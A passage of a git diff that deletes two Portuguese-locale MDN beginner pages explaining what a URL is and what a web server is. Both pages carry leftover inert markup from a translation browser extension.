value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/common_questions/what_is_a_url/index.html b/files/pt-pt/learn/common_questions/what_is_a_url/index.html
deleted file mode 100644
index 498be31fc4..0000000000
--- a/files/pt-pt/learn/common_questions/what_is_a_url/index.html
+++ /dev/null
@@ -1,232 +0,0 @@
----
-title: O que é um URL?
-slug: Learn/Common_questions/What_is_a_URL
-tags:
- - Infraestrutura
- - Principiante
- - URL
-translation_of: Learn/Common_questions/What_is_a_URL
-original_slug: Learn/Questoes_comuns/O_que_e_um_URL
----
-<div class="summary">
-<p>This article discusses Uniform Resource Locators (URLs), explaining what they are and how they're structured.</p>
-</div>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Prerequisites:</th>
- <td>You need to first know <a href="/en-US/docs/Learn/How_the_Internet_works">how the Internet works</a>, <a href="/en-US/docs/Learn/What_is_a_Web_server">what a Web server is</a> and <a href="/en-US/docs/Learn/Understanding_links_on_the_web">the concepts behind links on the web</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objective:</th>
- <td>You will learn what a URL is and how it works on the Web.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p><span class="seoSummary">With {{Glossary("Hypertext")}} and {{Glossary("HTTP")}}, <strong><dfn>URL</dfn></strong> is one of the key concepts of the Web. It is the mechanism used by {{Glossary("Browser","browsers")}} to retrieve any published resource on the web.</span></p>
-
-<p><strong>URL</strong> stands for <em>Uniform Resource Locator</em>. A URL is nothing more than the address of a given unique resource on the Web. In theory, each valid URL points to a unique resource. Such resources can be an HTML page, a CSS document, an image, etc. In practice, there are some exceptions, the most common being a URL pointing to a resource that no longer exists or that has moved. As the resource represented by the URL and the URL itself are handled by the Web server, it is up to the owner of the web server to carefully manage that resource and its associated URL.</p>
-
-<h2 id="Aprendizagem_Ativa">Aprendizagem Ativa</h2>
-
-<p><em>There is no active learning available yet. <a href="/en-US/docs/MDN/Getting_started">Please, consider contributing</a>.</em></p>
-
-<h2 id="Deeper_dive">Deeper dive</h2>
-
-<h3 id="Basics_anatomy_of_a_URL">Basics: anatomy of a URL</h3>
-
-<p>Here are some examples of URLs:</p>
-
-<pre>https://developer.mozilla.org
-https://developer.mozilla.org/en-US/docs/Learn/
-https://developer.mozilla.org/en-US/search?q=URL</pre>
-
-<p>Any of those URLs can be typed into your browser's address bar to tell it to load the associated page (resource).</p>
-
-<p>A URL is composed of different parts, some mandatory and others optional. Let's see the most important parts using the following URL:</p>
-
-<pre>http://www.example.com:80/path/to/myfile.html?key1=value1&amp;key2=value2#SomewhereInTheDocument</pre>
-
-<dl>
- <dt><img alt="Protocol" src="https://mdn.mozillademos.org/files/8013/mdn-url-protocol@x2.png" style="height: 70px; width: 440px;"></dt>
- <dd><code>http://</code> is the protocol. It indicates which protocol the browser must use. Usually it is the HTTP protocol or its secured version, HTTPS. The Web requires one of these two, but browsers also know how to handle other protocols such as <code>mailto:</code> (to open a mail client) or <code>ftp:</code> to handle file transfer, so don't be surprised if you see such protocols.</dd>
- <dt><img alt="Domaine Name" src="https://mdn.mozillademos.org/files/8015/mdn-url-domain@x2.png" style="height: 70px; width: 440px;"></dt>
- <dd><code>www.example.com</code> is the domain name. It indicates which Web server is being requested. Alternatively, it is possible to directly use an {{Glossary("IP address")}}, but because it is less convenient, it is not often used on the Web.</dd>
- <dt><img alt="Port" src="https://mdn.mozillademos.org/files/8017/mdn-url-port@x2.png" style="height: 70px; width: 440px;"></dt>
- <dd><code>:80</code> is the port. It indicates the technical "gate" used to access the resources on the web server. It is usually omitted if the web server uses the standard ports of the HTTP protocol (80 for HTTP and 443 for HTTPS) to grant access to its resources. Otherwise it is mandatory.</dd>
- <dt><img alt="Path to the file" src="https://mdn.mozillademos.org/files/8019/mdn-url-path@x2.png" style="height: 70px; width: 440px;"></dt>
- <dd><code>/path/to/myfile.html</code> is the path to the resource on the Web server. In the early days of the Web, a path like this represented a physical file location on the Web server. Nowadays, it is mostly an abstraction handled by Web servers without any physical reality.</dd>
- <dt><img alt="Parameters" src="https://mdn.mozillademos.org/files/8021/mdn-url-parameters@x2.png" style="height: 70px; width: 440px;"></dt>
- <dd><code>?key1=value1&amp;key2=value2</code> are extra parameters provided to the Web server. Those parameters are a list of key/value pairs separated with the <code>&amp;</code> symbol. The Web server can use those parameters to do extra stuff before returning the resource. Each Web server has its own rules regarding parameters, and the only reliable way to know if a specific Web server is handling parameters is by asking the Web server owner.</dd>
- <dt><img alt="Anchor" src="https://mdn.mozillademos.org/files/8023/mdn-url-anchor@x2.png" style="height: 70px; width: 440px;"></dt>
- <dd><code>#SomewhereInTheDocument</code> is an anchor to another part of the resource itself. An anchor represents a sort of "bookmark" inside the resource, giving the browser the directions to show the content located at that "bookmarked" spot. On an HTML document, for example, the browser will scroll to the point where the anchor is defined; on a video or audio document, the browser will try to go to the time the anchor represents. It is worth noting that the part after the <strong>#</strong>, also known as the<em> <strong>fragment identifier</strong>, is never sent to the server with the request.</em></dd>
-</dl>
-
-<p>{{Note('There are <a href="http://en.wikipedia.org/wiki/Uniform_Resource_Locator">some extra parts and some extra rules</a> regarding URLs, but they are not relevant for regular users or Web developers. Don\'t worry about this, you don\'t need to know them to build and use fully functional URLs.')}}</p>
-
-<p>You might think of a URL like a regular postal mail address: the <em>protocol</em> represents the postal service you want to use, the <em>domain name</em> is the city or town,  and the <em>port</em> is like the zip code; the <em>path</em> represents the building where your mail should be delivered; the <em>parameters</em> represent extra information such as the number of the apartment in the building; and, finally, the <em>anchor</em> represents the actual person to whom you've addressed your mail.</p>
-
-<h3 id="Como_utilizar_os_URLs">Como utilizar os URLs</h3>
-
-<p>Any URL can be typed right inside the browser's address bar to get to the resource behind it. But this is only the tip of the iceberg!</p>
-
-<p>The {{Glossary("HTML")}} language — <a href="/en-US/docs/Learn/HTML/HTML_tags">which will be discussed later on</a> — makes extensive use of URLs:</p>
-
-<ul>
- <li>to create links to other documents with the {{HTMLElement("a")}} element;</li>
- <li>to link a document with its related resources through various elements such as {{HTMLElement("link")}} or {{HTMLElement("script")}};</li>
- <li>to display medias such as images (with the {{HTMLElement("img")}} element), videos (with the {{HTMLElement("video")}} element), sounds and music (with the {{HTMLElement("audio")}} element), etc.;</li>
- <li>to display other HTML documents with the {{HTMLElement("iframe")}} element.</li>
-</ul>
-
-<p>Other technologies, such as {{Glossary("CSS")}} or {{Glossary("JavaScript")}}, use URLs extensively, and these are really the heart of the Web.</p>
-
-<h3 id="URLs_absolutos_vs_URLs_relativos">URLs absolutos vs URLs relativos</h3>
-
-<p>What we saw above is called an <em>absolute URL, </em>but there is also something called a <em>relative URL</em>. Let's examine what that distinction means in more detail.</p>
-
-<p>The required parts of a URL depend to a great extent on the context in which the URL is used. In your browser's address bar, a URL doesn't have any context, so you must provide a full (or <em>absolute</em>) URL, like the ones we saw above. You don't need to include the protocol (the browser uses HTTP by default) or the port (which is only required when the targeted Web server is using some unusual port), but all the other parts of the URL are necessary.</p>
-
-<p>When a URL is used within a document, such as in an HTML page,  things are a bit different. Because the browser already has the document's own URL, it can use this information to fill in the missing parts of any URL available inside that document. We can differentiate between an <em>absolute URL</em> and a <em>relative URL</em> by looking only at the <em>path</em> part of the URL. If the path part of the URL starts with the <code>"/</code>" character, the browser will fetch that resource from the top root of the server, without reference to the context given by the current document.</p>
-
-<p>Let's look at some examples to make this clearer.</p>
-
-<h4 id="Exemplos_de_URLs_absolutos">Exemplos de URLs absolutos</h4>
-
-<dl>
- <dt>Full URL (the same as the one we used before)</dt>
- <dd>
- <pre>https://developer.mozilla.org/en-US/docs/Learn</pre>
- </dd>
- <dt>Implicit protocol</dt>
- <dd>
- <pre>//developer.mozilla.org/en-US/docs/Learn</pre>
-
- <p>In this case, the browser will call that URL with the same protocol as the the one used to load the document hosting that URL.</p>
- </dd>
- <dt>Implicit domain name</dt>
- <dd>
- <pre>/en-US/docs/Learn</pre>
-
- <p>This is the most common use case for an absolute URL within an HTML document. The browser will use the same protocol and the same domain name as the one used to load the document hosting that URL. <strong>Note:</strong> <em>it isn't possible to omit the domain name without omitting the protocol as well</em>.</p>
- </dd>
-</dl>
-
-<h4 id="Exemplos_de_URLs_relativos">Exemplos de URLs relativos</h4>
-
-<p>To better understand the following examples, let's assume that the URLs are called from within the document located at the following URL: <code>https://developer.mozilla.org/en-US/docs/Learn</code></p>
-
-<dl>
- <dt>Sub-resources</dt>
- <dd>
- <pre>Skills/Infrastructure/Understanding_URLs
-</pre>
- Because that URL does not start with <code>/</code>, the browser will attempt to find the document in a sub-directory of the one containing the current resource. So in this example,  we really want to reach this URL: <code>https://developer.mozilla.org/en-US/docs/Learn/Skills/Infrastructure/Understanding_URLs</code></dd>
- <dt>Going back in the directory tree</dt>
- <dd>
- <pre>../CSS/display</pre>
-
- <p>In this case, we use the <code>../</code> writing convention — inherited from the UNIX file system world — to tell the browser we want to go up from one directory. Here we want to reach this URL: <code>https://developer.mozilla.org/en-US/docs/Learn/../CSS/display</code>, which can be simplified to: <code>https://developer.mozilla.org/en-US/docs/CSS/display</code></p>
- </dd>
-</dl>
-
-<h3 id="URLs_semânticos">URLs semânticos</h3>
-
-<p>Despite their very technical flavor, URLs represent a human-readable entry point for a Web site. They can be memorized, and anyone can enter them into a browser's address bar. People are at the core of the Web, and so it is considered best practice to build what is called <a href="http://en.wikipedia.org/wiki/Semantic_URL"><em>semantic URLs</em></a>.  Semantic URLs  use words with inherent meaning that can be understood by anyone, regardless of their technical know-how.</p>
-
-<p>Linguistic semantics are of course irrelevant to computers. You've probably often seen URLs that look like mashups of random characters. But there are many advantages  to creating human-readable URLs:</p>
-
-<ul>
- <li>It is easier for you to manipulate them.</li>
- <li>It clarifies things for users in terms of where they are, what they're doing, what they're reading or interacting with on the Web.</li>
- <li>Some search engines can use those semantics to improve the classification of the associated pages.</li>
-</ul>
-
-<h2 id="Passos_seguintes">Passos seguintes</h2>
-
-<ul>
- <li><a href="/pt-PT/docs/Learn/Questoes_comuns/O_que_e_um_nome_de_dominio">Compreender os nomes de domínio</a></li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
- <td class="SL_td"><select><option value="auto">Detectar idioma</option><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_switch_b" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Alternar Idiomas"> </div>
- </td>
- <td class="SL_td"><select><option value="af">Africâner</option><option value="sq">Albanês</option><option value="de">Alemão</option><option value="ar">Arabe</option><option value="hy">Armênio</option><option value="az">Azerbaijano</option><option value="eu">Basco</option><option value="bn">Bengali</option><option value="be">Bielo-russo</option><option value="my">Birmanês</option><option value="bs">Bósnio</option><option value="bg">Búlgaro</option><option value="ca">Catalão</option><option value="kk">Cazaque</option><option value="ceb">Cebuano</option><option value="ny">Chichewa</option><option value="zh-CN">Chinês (Simp)</option><option value="zh-TW">Chinês (Trad)</option><option value="si">Cingalês</option><option value="ko">Coreano</option><option value="ht">Crioulo haitiano</option><option value="hr">Croata</option><option value="da">Dinamarquês</option><option value="sk">Eslovaco</option><option value="sl">Esloveno</option><option value="es">Espanhol</option><option value="eo">Esperanto</option><option value="et">Estoniano</option><option value="fi">Finlandês</option><option value="fr">Francês</option><option value="gl">Galego</option><option value="cy">Galês</option><option value="ka">Georgiano</option><option value="el">Grego</option><option value="gu">Gujarati</option><option value="ha">Hauça</option><option value="iw">Hebraico</option><option value="hi">Hindi</option><option value="hmn">Hmong</option><option value="nl">Holandês</option><option value="hu">Húngaro</option><option value="ig">Igbo</option><option value="id">Indonésio</option><option selected value="en">Inglês</option><option value="yo">Ioruba</option><option value="ga">Irlandês</option><option value="is">Islandês</option><option value="it">Italiano</option><option value="ja">Japonês</option><option value="jw">Javanês</option><option value="kn">Kannada</option><option value="km">Khmer</option><option value="lo">Laosiano</option><option value="la">Latim</option><option value="lv">Letão</option><option value="lt">Lituano</option><option value="mk">Macedônico</option><option value="ml">Malaiala</option><option value="ms">Malaio</option><option value="mg">Malgaxe</option><option value="mt">Maltês</option><option value="mi">Maori</option><option value="mr">Marathi</option><option value="mn">Mongol</option><option value="ne">Nepalês</option><option value="no">Norueguês</option><option value="fa">Persa</option><option value="pl">Polonês</option><option value="pt">Português</option><option value="pa">Punjabi</option><option value="ro">Romeno</option><option value="ru">Russo</option><option value="sr">Sérvio</option><option value="st">Sesotho</option><option value="so">Somália</option><option value="sw">Suaíli</option><option value="su">Sudanês</option><option value="sv">Sueco</option><option value="tg">Tadjique</option><option value="tl">Tagalo</option><option value="th">Tailandês</option><option value="ta">Tâmil</option><option value="cs">Tcheco</option><option value="te">Telugo</option><option value="tr">Turco</option><option value="uk">Ucraniano</option><option value="ur">Urdu</option><option value="uz">Uzbeque</option><option value="vi">Vietnamita</option><option value="yi">Yiddish</option><option value="zu">Zulu</option></select></td>
- <td class="SL_td">
- <div id="SL_TTS_voice" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ouça"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_copy" id="SL_copy" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Copiar"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_font_patch"> </div>
-
- <div class="SL_bbl_font" id="SL_bbl_font" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Tamanho da fonte"> </div>
- </td>
- <td class="SL_td">
- <div id="SL_bbl_help" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Ajuda"> </div>
- </td>
- <td class="SL_td">
- <div class="SL_pin_off" id="SL_pin" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Fixar a janela de pop-up"> </div>
- </td>
- </tr>
-</tbody></table>
-</div>
-</div>
-
-<div id="SL_shadow_translation_result" style=""> </div>
-
-<div class="SL_loading" id="SL_loading" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_player2"> </div>
-
-<div id="SL_alert100">A função de fala é limitada a 200 caracteres</div>
-
-<div id="SL_Balloon_options" style="background: rgb(255, 255, 255) repeat scroll 0% 0%;">
-<div id="SL_arrow_down" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<table id="SL_tbl_opt" style="width: 100%;">
- <tbody><tr>
- <td><input></td>
- <td>
- <div id="SL_BBL_IMG" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;" title="Mostrar o botão do ImTranslator 3 segundos"> </div>
- </td>
- <td><a class="SL_options" title="Mostrar opções">Opções</a> : <a class="SL_options" title="Histórico de tradução">Histórico</a> : <a class="SL_options" title="Comentários">Comentários</a> : <a class="SL_options" href="https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&amp;hosted_button_id=GD9D8CPW8HFA2" title="Faça sua contribuição">Donate</a></td>
- <td><span id="SL_Balloon_Close" title="Encerrar">Encerrar</span></td>
- </tr>
-</tbody></table>
-</div>
-</div>
-</div>
diff --git a/files/pt-pt/learn/common_questions/what_is_a_web_server/index.html b/files/pt-pt/learn/common_questions/what_is_a_web_server/index.html
deleted file mode 100644
index 4be6ff278b..0000000000
--- a/files/pt-pt/learn/common_questions/what_is_a_web_server/index.html
+++ /dev/null
@@ -1,199 +0,0 @@
----
-title: O que é um servidor da Web?
-slug: Learn/Common_questions/What_is_a_web_server
-tags:
- - Infraestrutura
- - Principiante
-translation_of: Learn/Common_questions/What_is_a_web_server
-original_slug: Learn/Questoes_comuns/O_que_e_um_servidor_da_Web
----
-<div class="summary">
-<p>Neste artigo, nós examinamos quais são os servidores da Web, como é que estes funcionam, e por que é que eles são importantes.</p>
-</div>
-
-<table class="learn-box standard-table">
- <tbody>
- <tr>
- <th scope="row">Pré-requisitos:</th>
- <td>You should already know <a href="/en-US/docs/Learn/How_the_Internet_works">how the Internet works</a>, and <a href="/en-US/docs/Learn/page_vs_site_vs_server_vs_search_engine">understand the difference between a web page, a web site, a web server and a search engine</a>.</td>
- </tr>
- <tr>
- <th scope="row">Objetivo:</th>
- <td>You will learn what a web server is and gain a general understanding of how it works.</td>
- </tr>
- </tbody>
-</table>
-
-<h2 id="Resumo">Resumo</h2>
-
-<p>"Web server" can refer to hardware or software, or both of them working together.</p>
-
-<ol>
- <li>On the hardware side, a web server is a computer that stores a website's component files (e.g. HTML documents, images, CSS stylesheets, and JavaScript files) and delivers them to the end-user's device. It is connected to the Internet and can be accessed through a domain name like <code>mozilla.org</code>.</li>
- <li>On the software side, a web server includes several parts that control how web users access hosted files, at minimum an <em>HTTP server. </em>An HTTP server is a piece of software that understands {{Glossary("URL","URLs")}} (web addresses) and {{Glossary("HTTP")}} (the protocol your browser uses to view webpages).</li>
-</ol>
-
-<p>At the most basic level, whenever a browser needs a file hosted on a web server, the browser requests the file via HTTP. When the request reaches the correct web server (hardware), the <em>HTTP server</em> (software) sends the requested document back, also through HTTP.</p>
-
-<p><img alt="Basic representation of a client/server connection through HTTP" src="https://mdn.mozillademos.org/files/8659/web-server.svg" style="height: 200px; width: 600px;"></p>
-
-<p>To publish a website, you need either a static or a dynamic web server.</p>
-
-<p>A <strong>static web server</strong>, or stack, consists of a computer (hardware) with an HTTP server (software). We call it "static" because the server sends its hosted files "as-is" to your browser.</p>
-
-<p>A <strong>dynamic web server </strong>consists of a static web server plus extra software, most commonly an <em>application server </em>and a <em>database. </em>We call it "dynamic" because the application server updates the hosted files before sending them to your browser via the HTTP server.</p>
-
-<p>For example, to produce the final webpages you see in the browser, the application server might fill an HTML template with contents from a database. Sites like MDN or Wikipedia have many thousands of webpages, but they aren't real HTML documents, only a few HTML templates and a giant database. This setup makes it easier and quicker to maintain and deliver the content.</p>
-
-<h2 id="Aprendizagem_ativa">Aprendizagem ativa</h2>
-
-<p><em>Ainda não está disponível nenhuma aprendizagem ativa. <a href="/pt-PT/docs/MDN/Intrudução">Por favor, considere contribuir</a>.</em></p>
-
-<h2 id="Deeper_dive">Deeper dive</h2>
-
-<p>To fetch a webpage, as we already said, your browser sends a request to the web server, which proceeds to search for the requested file in its own storage space. On finding the file, the server reads it, processes it as needed, and sends it to the browser. Let's look at those steps in more detail.</p>
-
-<h3 id="Hosting_files">Hosting files</h3>
-
-<p>A web server first has to store the website's files, namely all HTML documents and their related assets, including images, CSS stylesheets, JavaScript files, fonts, and videos.</p>
-
-<p>Technically, you could host all those files on your own computer, but it's far more convenient to store them all on a dedicated web server that</p>
-
-<ul>
- <li>is always up and running</li>
- <li>is always connected to the Internet</li>
- <li>has the same IP address all the time (not all {{Glossary("ISP", "ISPs")}} provide a fixed IP address for home lines)</li>
- <li>is maintained by a third-party provider</li>
-</ul>
-
-<p>For all these reasons, finding a good hosting provider is a key part of building your website. Dig through the various services companies offer and choose one that fits your needs and your budget (services range from free to thousands of dollars per month). You can find more details <a href="https://developer.mozilla.org/en-US/Learn/How_much_does_it_cost#Hosting">in this article</a>.</p>
-
-<p>Once you set up a web hosting solution, you just have to <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">upload your files to your web server</a>.</p>
-
-<h3 id="Communicating_through_HTTP">Communicating through HTTP</h3>
-
-<p>Second, a web server provides support for {{Glossary("HTTP")}} (<strong>H</strong>yper<strong>t</strong>ext <strong>T</strong>ransfer <strong>P</strong>rotocol). As its name implies, HTTP specifies how to transfer hypertext (i.e., linked web documents) between two computers.</p>
-
-<p>A <em>protocol </em>is a set of rules for communication between two computers. HTTP is a textual, stateless protocol.</p>
-
-<dl>
- <dt>Textual</dt>
- <dd>All commands are plain-text and human-readable.</dd>
- <dt>Stateless</dt>
- <dd>Neither the server nor the client remember previous communications. For example, relying on HTTP alone, a server cannot remember a password you typed or what step you're on in a transaction. You need an application server for tasks like that. (We'll cover that sort of technology in further articles.)</dd>
-</dl>
-
-<p>HTTP provides clear rules for how a client and server communicate. We'll cover HTTP itself in a <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP">technical article</a> later on. For now, just be aware of these things:</p>
-
-<ul>
- <li>Only <em>clients </em>can make HTTP requests, and then only <em>to servers. </em>Servers can only<em> respond</em> to a <em>client's</em> HTTP request.</li>
- <li>When requesting a file via HTTP, clients must provide the file's {{Glossary("URL")}}.</li>
- <li>The web server <em>must answer </em>every HTTP request, at least with an error message.</li>
-</ul>
-
-<p><a href="https://developer.mozilla.org/en-US/404"><img alt="The MDN 404 page as an example of such error page" src="https://mdn.mozillademos.org/files/8661/mdn-404.jpg" style="float: right; height: 300px; width: 300px;"></a>On a web server, the HTTP server is responsible for processing and answering incoming requests.</p>
-
-<ol>
- <li>On receiving a request, an HTTP server first checks whether the requested URL matches an existing file.</li>
- <li>If so, the web server sends the file content back to the browser. If not, an application server builds the necessary file.</li>
- <li>If neither process is possible, the web server returns an error message to the browser, most commonly "404 Not Found". (That error is so common that many web designers spend quite some time designing <a href="http://www.404notfound.fr/" rel="external">404 error pages</a>.)</li>
-</ol>
-
-<h3 id="Static_vs._dynamic_content">Static vs. dynamic content</h3>
-
-<p>Roughly speaking, a server can serve either static or dynamic content. "Static" means "served as-is". Static websites are the easiest to set up, so we suggest you make your first site a static site.</p>
-
-<p>"Dynamic" means that the server processes the content or even generates it on the fly from a database. This solution provides more flexibility, but the technical stack becomes more difficult to handle, making it dramatically more complex to build the website.</p>
-
-<p>Take for example the page you're reading right now. On the web server hosting it, there is an application server that takes article content from a database, formats it, puts it inside some HTML templates, and sends you the results. In this case, the application server is called <a href="/en-US/docs/MDN/Kuma">Kuma</a> and is built with <a href="https://www.python.org/">Python</a> (using the <a href="https://www.djangoproject.com/">Django</a> framework). The Mozilla team built Kuma for the specific needs of MDN, but there are many similar applications built on many other technologies.</p>
-
-<p>There are so many application servers that it's pretty hard to suggest a particular one. Some application servers cater to specific website categories like blogs, wikis or e-shops; others, called {{Glossary("CMS", "CMSs")}} (content management systems), are more generic. If you're building a dynamic website, take the time to choose a tool that fits your needs. Unless you want to learn some web server programming (which is an exciting area in itself!), you don't need to create your own application server. That's just reinventing the wheel.</p>
-
-<h2 id="Passos_seguintes">Passos seguintes</h2>
-
-<p>Now that you are familiar with web servers, you could:</p>
-
-<ul>
- <li>read up on<a href="/en-US/docs/Learn/How_much_does_it_cost"> how much it costs to do something on the web</a></li>
- <li>learn more about <a href="/en-US/docs/Learn/What_software_do_I_need">various software you need to create a website</a></li>
- <li>move on to something practical like <a href="/en-US/docs/Learn/Upload_files_to_a_web_server">how to upload files on a web server</a>.</li>
-</ul>
-
-<div id="SL_balloon_obj" style="display: block;">
-<div class="SL_ImTranslatorLogo" id="SL_button" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%; opacity: 1; display: none; left: -8px; top: -25px;"> </div>
-
-<div id="SL_shadow_translation_result2" class="hidden"> </div>
-
-<div id="SL_shadow_translator" class="hidden">
-<div id="SL_planshet">
-<div id="SL_arrow_up" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_Bproviders">
-<div class="SL_BL_LABLE_ON" id="SL_P0" title="Google">G</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P1" title="Microsoft">M</div>
-
-<div class="SL_BL_LABLE_ON" id="SL_P2" title="Translator">T</div>
-</div>
-
-<div id="SL_alert_bbl" class="hidden">
-<div id="SLHKclose" style="background: rgba(0, 0, 0, 0) repeat scroll 0% 0%;"> </div>
-
-<div id="SL_alert_cont"> </div>
-</div>
-
-<div id="SL_TB">
-<table id="SL_tables">
- <tbody><tr>
- <td class="SL_td"><input></td>
